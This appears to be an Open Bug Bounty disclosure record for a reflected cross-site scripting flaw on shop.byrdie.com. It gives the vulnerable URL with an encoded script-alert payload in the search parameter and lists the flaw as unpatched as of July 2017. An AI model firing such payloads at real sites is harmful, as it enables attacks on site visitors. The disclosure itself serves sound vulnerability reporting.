shop.byrdie.com XSS vulnerability

Vulnerable URL: http://shop.byrdie.com/?q=xss%3Cscript%3Ealert%27OPENBUGBOUNTY%27;%3C/script%3E& Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...